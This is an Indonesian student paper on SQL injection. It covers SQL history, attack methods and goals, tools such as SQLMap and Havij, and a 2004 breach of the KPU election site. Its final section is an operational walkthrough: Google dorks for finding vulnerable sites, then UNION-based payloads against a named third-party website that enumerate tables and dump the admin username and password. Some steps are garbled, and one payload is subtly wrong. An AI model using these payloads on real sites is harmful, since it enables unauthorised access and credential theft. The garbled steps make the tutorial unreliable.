Anda di halaman 1dari 15

Makalah Keamanan Komputer

SQL Injection

Disusun Oleh :
Jati Pandu Saputra 1500018108
Indriyanto Adi Prasetyo 1500018118
Maulana Agung Pribadi 1500018068

Prodi Teknik Informatika


Fakultas Teknologi Industri
Universitas Ahmad Dahlan
Yogyakarta
2017
Pembahasa

Sejara SQL Injection

Sejarah SQL dimulai dari artikel seorang peneliti dari IBM bernama EF Codd yang
membahas tentang ide pembuatan basis data relasional pada bulan Juni 1970. Artikel ini juga
membahas kemungkinan pembuatan bahasa standar untuk mengakses data dalam basis data
tersebut. Bahasa tersebut kemudian diberi nama SEQUEL (Structured English Query
Language). Setelah terbitnya artikel tersebut, IBM mengadakan proyek pembuatan basis data
relasional berbasis bahasa SEQUEL. Akan tetapi, karena permasalahan hukum mengenai
penamaan SEQUEL, IBM pun mengubahnya menjadi SQL. Implementasi basis data
relasional dikenal dengan System/R. Di akhir tahun 1970-an, muncul perusahaan bernama
Oracle yang membuat server basis data populer yang bernama sama dengan nama
perusahaannya. Dengan naiknya kepopuleran Oracle, maka SQL juga ikut populer sehingga
saat ini menjadi standar de facto bahasa dalam manajemen basis data. Standarisasi SQL
dimulai pada tahun 1986, ditandai dengan dikeluarkannya standar SQL oleh ANSI. Standar
ini sering disebut dengan SQL86.Standar tersebut kemudian diperbaiki pada tahun 1989
kemudian diperbaiki lagi pada tahun 1992. Versi terakhir dikenal dengan SQL92. Pada tahun
1999 dikeluarkan standar baru yaitu SQL99 atau disebut juga SQL99, akan tetapi kebanyakan
implementasi mereferensi pada SQL92. Saat ini sebenarnya tidak ada server basis data yang
100% mendukung SQL92. Hal ini disebabkan masing-masing server memiliki dialek masing-
masing. Secara umum, SQL terdiri dari dua bahasa, yaitu Data Definition Language (DDL)
dan Data Manipulation Language (DML). Implementasi DDL dan DML berbeda untuk tiap
sistem manajemen basis data (SMBD)[1], namun secara umum implementasi tiap bahasa ini
memiliki bentuk standar yang ditetapkan ANSI. Artikel ini akan menggunakan bentuk paling
umum yang dapat digunakan pada kebanyakan SMBD.
Teori Dasar

Injeksi SQL atau SQL Injection memiliki makna dan arti yaitu sebuah teknik yang
menyalahgunakan sebuah celah keamanan yang terjadi dalam lapisan basis data sebuah
aplikasi. Celah ini terjadi ketika masukan pengguna tidak disaring secara benar dari karakter-
karakter pelolos bentukan string yang diimbuhkan dalam pernyataan SQL atau masukan
pengguna tidak bertipe kuat dan karenanya dijalankan tidak sesuai harapan. Ini sebenarnya
adalah sebuah contoh dari sebuah kategori celah keamanan yang lebih umum yang dapat
terjadi setiap kali sebuah bahasa pemrograman atau skrip diimbuhkan di dalam bahasa yang
lain. (Wikipedia)

SQL injection adalah jenis aksi hacking pada keamanan komputer di mana seorang
penyerang bisa mendapatkan akses ke basis data di dalam sistem. SQL injection yaitu
serangan yang mirip dengan serangan XSS dalam bahwa penyerang memanfaatkan aplikasi
vektor dan juga dengan Common dalam serangan XSS.

SQL injection exploits dan sejenisnya adalah hasil interfacing sebuah bahasa lewat informasi
melalui bahasa lain . Dalam hal SQL injection, sebuah bahasa pemrograman seperti PHP atau
Perl mengakses database melalui SQL query. Jika data yang diterima dari pengguna akhir
yang dikirim langsung ke database dan tidak disaring dengan benar, maka yang penyerang
dapat menyisipkan perintah SQL nya sebagai bagian dari input.
Metode – metode dalam SQL injection

UNION Based SQL injection


Union based SQL Injection adalah metode SQL Injection perintah UNION untuk
menggabungkan hasil dari dua atau lebih perintah SSELECT menjadi sebuah hasil tunggal.

String Based SQL injection


String based SQL Injection adalah metode SQL injection yang berbasis menggunakan perintah
string

Error Based SQL injection


Error Based SQL Injection dalam aksinya akan memberikan sebuah perintah ke database
sehingga menampilkan pesan error. Dari pesan error tersebut dapat diperoleh informasi yang bisa
dimanfaatkan

Double Query SQL injection


Double Query SQL injection adalah metode SQL injection yang berbasis perintah – perintah
query

Blind SQL injection


Blind SQL Injection, jenis ini tidak menampilkan pesan error dan tidak menampilkan data atau
informasi yang ada, terkadang sediit sulit untuk melakukan eksploitasi untuk jenis Blind SQL
Injection. Hal ini karena prosesnya dengan memberikan pertanyaan pada database berupa kondisi
TRUE/FALSE dan apakah dari halaman yang ditampilkan benar atau tidak.

MsSQL injection
Fungsi SQL Injection

Beberapa fungsi melakukan SQL Injection :

1. Mengidentifikasi parameter injeksi

Penyerang ingin menyelidiki Aplikasi Web untuk menemukan mana parameter dan bidang-
input pengguna rentan terhadap SQLIA.

2. Menambah dan memodifikasi data

Tujuan dari serangan ini adalah untuk menambah atau mengubah informasi dalam database.

3. Menggali data pada sebuah web

Jenis-jenis serangan menggunakan teknik yang akan mengekstrak nilai data dari database.
Tergantung pada jenis dari aplikasi Web, informasi ini bisa menjadi sensitif dan sangat
diinginkan untuk penyerang. Serangan dengan maksud ini adalah Jenis yang paling umum
dari SQLIA.

4. Melakukan nya di Denial of Service (DoS)

Serangan ini dilakukan untuk menutup database dari aplikasi Web, sehingga menyangkal
layanan ke pengguna lain. Serangan yang melibatkan mengunci atau menjatuhkan tabel
database juga termasuk dalam kategori ini.

5. Menghindari deteksi

Kategori ini mengacu pada teknik serangan tertentu yang digunakan untuk menghindari audit
dan deteksi oleh system mekanisme perlindungan.

6. Melewati Authentication (bukti keaslian)

Tujuan dari jenis serangan adalah untuk memungkinkan penyerang untuk memotong
otentikasi database dan aplikasi mekanisme. Melewati mekanisme seperti itu bisa
memungkinkan penyerang untuk menganggap hak dan hak istimewa yang berkaitan dengan
yang lain pengguna aplikasi.
7. Mengeksekusi perintah Jarak jauh

Jenis serangan berusaha untuk mengeksekusi perintah sewenang-wenang pada database.


Perintah-perintah ini dapat disimpan prosedur atau fungsi yang tersedia bagi pengguna
database.

8. Melakukan ekskalasi/perintah hak Istimewa

Serangan ini memanfaatkan kesalahan implementasi atau kekurangan logis dalam database
untuk meningkatkan hak-hak istimewa dari penyerang. Berbeda dengan melewati otentikasi
serangan, serangan ini fokus pada pemanfaatan database hak pengguna.
Tools yang sering digunakkan

Tools software

Untuk mempermudah dalam praktek SQL Injection ini, maka bisa menggunakan tools
software berikut: BSQL Hacker, The Mole, Pangolin, SQLMap, Havij, Enema SQLi, SQL
Ninja, SQL Sus, Safe SQL Injector, SQL Poizon

Tools hardware

Untuk memdukung proses SQL Injection ada beberapa hardware yang di gunakkan untuk
menlakukan proses ini. Diantaranya : seperangkat computer, Alat untuk memnghubungkan
jaringan internet, ex: modem, router, hub
Contoh Kasus

Kasus pada SQL Injection juga pernah terjadi di Indonesia, berikut contoh kasus SQL
Injection yang pernah menimpa situs KPU di tahun 2004.

Pembobol Situs KPU pada pemilu 2004 ditangkap.

Aparat Satuan Cyber Crime Direktorat Reserse Khusus Kepolisian Daerah Metro Jaya telah
menangkap Dani Firmansyah (25), yang diduga kuat sebagai pelaku yang membobol situs
(hacker) di Pusat Tabulasi Nasional Pemilu Komisi Pemilihan Umum (TNP KPU). Kepada
polisi, Dani mengaku meng-hack situs tersebut hanya karena ingin mengetes keamanan
sistem keamanan server tnp.kpu.go.id, yang disebut-sebut mempunyai sistem pengamanan
berlapis-lapis.

―Motivasi tersangka melakukan serangan ke website KPU hanya untuk memperingatkan


kepada tim TI KPU bahwa sistem TI yang seharga Rp 125 miliar itu ternyata tidak aman.
Tersangka berhasil menembus server tnp.kpu.go.id dengan cara SQL Injection,‖ kata Kepala
Polda Metro Jaya Inspektur Jenderal Makbul Padmanagara. Ia didampingi Kepala Bidang
Humas Komisaris Besar Prasetyo dan Direktur Reserse Kriminal Khusus Komisaris Besar
Edmond Ilyas. Meski perbuatan itu hanya iseng, kata Makbul, polisi tetap menilai tindakan
Dani telah melanggar hukum. ―Kalau kita mempunyai keahlian tertentu, janganlah
disalahgunakan untuk melakukan pelanggaran hukum. Lebih baik datang ke KPU. Bilang,
‘Pak, ini masih bisa ditembus‘. Itu akan jauh lebih bermanfaat,‖ tutur Makbul.

Saat diperiksa polisi , Dani tampak ditemani ibunya. Dani tidak banyak bicara, tapi sempat
tertawa ketika ditanya wartawan mengenai keahliannya menghack sebuah situs di internet.
Suara tawanya seperti tawa anak nakal yang kepergok sedang berbuat jahil.

Menurut ibunya, Dani mempelajari teknologi komputer sejak kelas satu SMU. ―Belajar
secara otodidak, tidak sekolah khusus komputer atau kursus,‖ kata sang ibu, yang enggan
menyebut namanya.

Selain kuliah, Dani bekerja sebagai konsultan teknologi informasi (TI) di PT Danareksa di
Jalan Merdeka Selatan, Jakarta, dengan gaji Rp 3 juta per bulan. Untuk itu, ia harus bolak
balik Jakarta-Yogya. Paling tidak satu minggu sekali ia harus ke Jakarta untuk melaksanakan
kontrak kerjanya dengan PT Danareksa. Dalam meng-hack TNP KPU, Dani pun
memanfaatkan fasilitas PT Danareksa. Pada Jumat 16 April, Dani mencoba melakukan tes
sistem sekuriti kpu.go.id melalui XSS (cross site scripting) dengan menggunakan IP Public
PT Danareksa 202.158.10.117, namun dilayar keluar message risk dengan level low (website
KPU tidak dapat ditembus atau dirusak).

Hari Sabtu, 17 April 2004 pukul 03.12,42, Dani mencoba lagi menyerang server
tnp.kpu.go.id dengan cara SQL Injection dan berhasil menembus IP tnp.kpu.go.id
203.130.201.134, serta berhasil meng-up date daftar nama partai pada pukul 11.23,16 sampai
pukul 11.34,27. Teknik yang dipakai Dani dalam meng-hack yakni melalui teknik spoofing
(penyesatan). Dani melakukan hacking dari IP public PT Danareksa 202.158.10.117,
kemudian membuka IP Proxy Anonymous Thailand 208.147.1.1 lalu msuk ke IP
tnp.kpu.go.id 203.130.201.134, dan berhasil membuka tampilan nama 24 partai politik
peserta pemilu. Menurut polisi, Dani juga mengubah hasil perolehan suara dengan cara
perolehan suara dikalikan 10. Tetapi upaya itu tidak berhasil, karena field jumlah suara tidak
sama dengan field yang Dani tulis dalam sintaks penulisan. Menurut Kepala Polda Metro
Jaya, pengungkapan kasus pembobolan situs KPU ini merupakan keberhasilan Satuan Cyber
Crime yang menonjol sejak dua tahunan satuan tersebut terbentuk. ―Sebetulnya, banyak
kasus cyber crime yang sudah diungkap, namun baru kasus ini yang mendapat sorotan publik
cukup besar. Keberhasilan kami juga dibantu instansi lain seperti KPU dan telekomunikasi,‖
tutur Makbul.

Ia menambahkan, karena undang-undang tentang cyber crime belum ada, tersangka Dani
dikenakan UU Nomor 36 Tahun 1999 tentang Telekomunikasi. Salah satu pasal yang
disangkakan adalah Pasal 50, yang ancamannya pidana penjara paling lama enam tahun dan
atau denda paling banyak Rp 600 juta.
Langkah – langkah SQL Injection

1. Langkah pertama, lakukan test vulrnerabilitas. Untuk melakukan tes vulrnebilitas maka
terlebih dahulu kita mencari vuln,untuk mencari vuln dalam sebuah website yang akan
menjadi target kita dapat menggunakan bantuan google dork
inurl:content.php?id=
inurl:index.php?id=
inurl:main.php?id=
inurl:page.php?id=

2. Pengujian vurlnebilitas dilakukan untuk mengetahui apakah sebuah situs web memiliki
celah keamanan atau tidak untuk dilakukan SQL Injection. Selanjutnya hal yang dilakukan
adalah mencari target. Sebagai contoh target kita kali ini adalah

http://www.san-fernando.com/cities.php?id=5

3. Tambahkan karakter ‗ pada akhir url atau menambahkan karakter ―-‖ untuk melihat apakah ada
pesan error. Contoh :

http://www.san-fernando.com/cities.php?id=5‘
Keterangan : ―You have an error in your SQL syntax; check the manual that corresponds to
your MySQL server version for the right syntax to use near '\'' at line 1”
Apabila dalam percobaan terdapat error, maka dapat disimpulkan website tersebut tervulrn
atau rentan terhadap sql injection.

4. Lakukan pencarian jumlah tabel pada database dengan perintah ―order by‖ tanpa tanda
kutip, lakukan percobaan sampai error hilang atau muncul error, tergantung kondisi awal.
Contoh :
5. Dari hasil langkah ke 3, dapat disimpulkan bahwa jumlah kolom pada databasenya terdapat

13 kolom. Selanjutnya untuk mengetahui dimana angka-angka yang bisa di buat injection /

tempat kita memasukkan perintah-perintah selanjutnya. Cara untuk mengetahui angka-angka

tersebut ialah dengan mengganti perintah ― order by ― dengan ― union select ― disertai

berapa jumlah kolom yang kita temukan tadi dan tanda – di depan angka. Contoh :

http://www.san-fernando.com/cities.php?id=null union all select 1,2,3,4,5,6,7,8,9,10,11,12,13—


6. Pada langkah ke 5, muncul angka 2 dan angka 7. Angka tersebut untuk membuat masukan
perintah – perintah selanjutnya. Langkah selanjutnya adalah mengetahui informasi seperi
nama user, versi database, nama database untuk mengetahuinya dengan cara memasukan
perintah ―concat(user(),0x3a,database(),0x3a,version())‖ .Concat artinya concatination
(penyambungan) 0x3a merupakan kode ascii untuk peganti tanda ― : ― Contoh :
www.san-fernando.com/cities.php?id=null union all select 1,group_concat(table_name),
3,4,5,6,7,8,9,10,11,12,13 from information_schema.tables where table_schema=database()--

7. Dari gambar pada langkah ke 6, terdapat table ―admin”, tahapan selanjutnya yaitu
mengetahui kolom yang ada di table admin dengan mengganti perintah ―table_name‖ yang
ada berada pada perintah ―group_concat(table_name)‖ dengan perintah ―column_name‖
menjadi ―group_concat(column_name) ‖ dan mengganti perintah ― .tables ‖ yang berada di
perintah ―information_schema.tables ― dengan perintah ― .columns ‖ menjadi
―information_schema.columns ‖ juga mengganti perintah ― table_schema=database() ‖
dengan perintah ― table_name= ‖

www.san-fernando.com/cities.php?id=null union all select 1, group_concat(column_name),


3,4,5,6,7,8,9,10,11,12,13 from information_schema.tables where table_name=database()--
8. Setelah itu misalnya kita ingin mengetahui username sama password dari admin web
tersebut maka menggunakan perintah

www.san-fernando.com/cities.php?id=null union all select 1,group_concat(user,0x3a,pass),


3,4,5,6,7,8,9,10,11,12,13 from admin—
Daftar Pustaka

http://sekomsqlinject.blogspot.com/2012/04/sejarah-sql-injection.html

(Sejarah SQL Injection & Teori Dasar)

http://www.binushacker.net/pengertian-tutorial-tools-sql-injection-cara-kumpulan-software-
sql-injection.html

(Tools yang mendukung proses SQL Injection)

http://sendispeedco.blogspot.co.id/2016/08/pengertian-sql-injection-dan-contohnya.html

(Contoh Kasus )

http://aditiapikarin.blogspot.co.id/2013/06/tujuan-metode-sql-injection.html

(fungsi SQL Injection)

Modul praktikum Keamanan Komputer Universitas Ahmad Dahlan Yogyakarta

(Metode-metode SQL Injection Dan Langkah-langkah SQL Injection)

Anda mungkin juga menyukai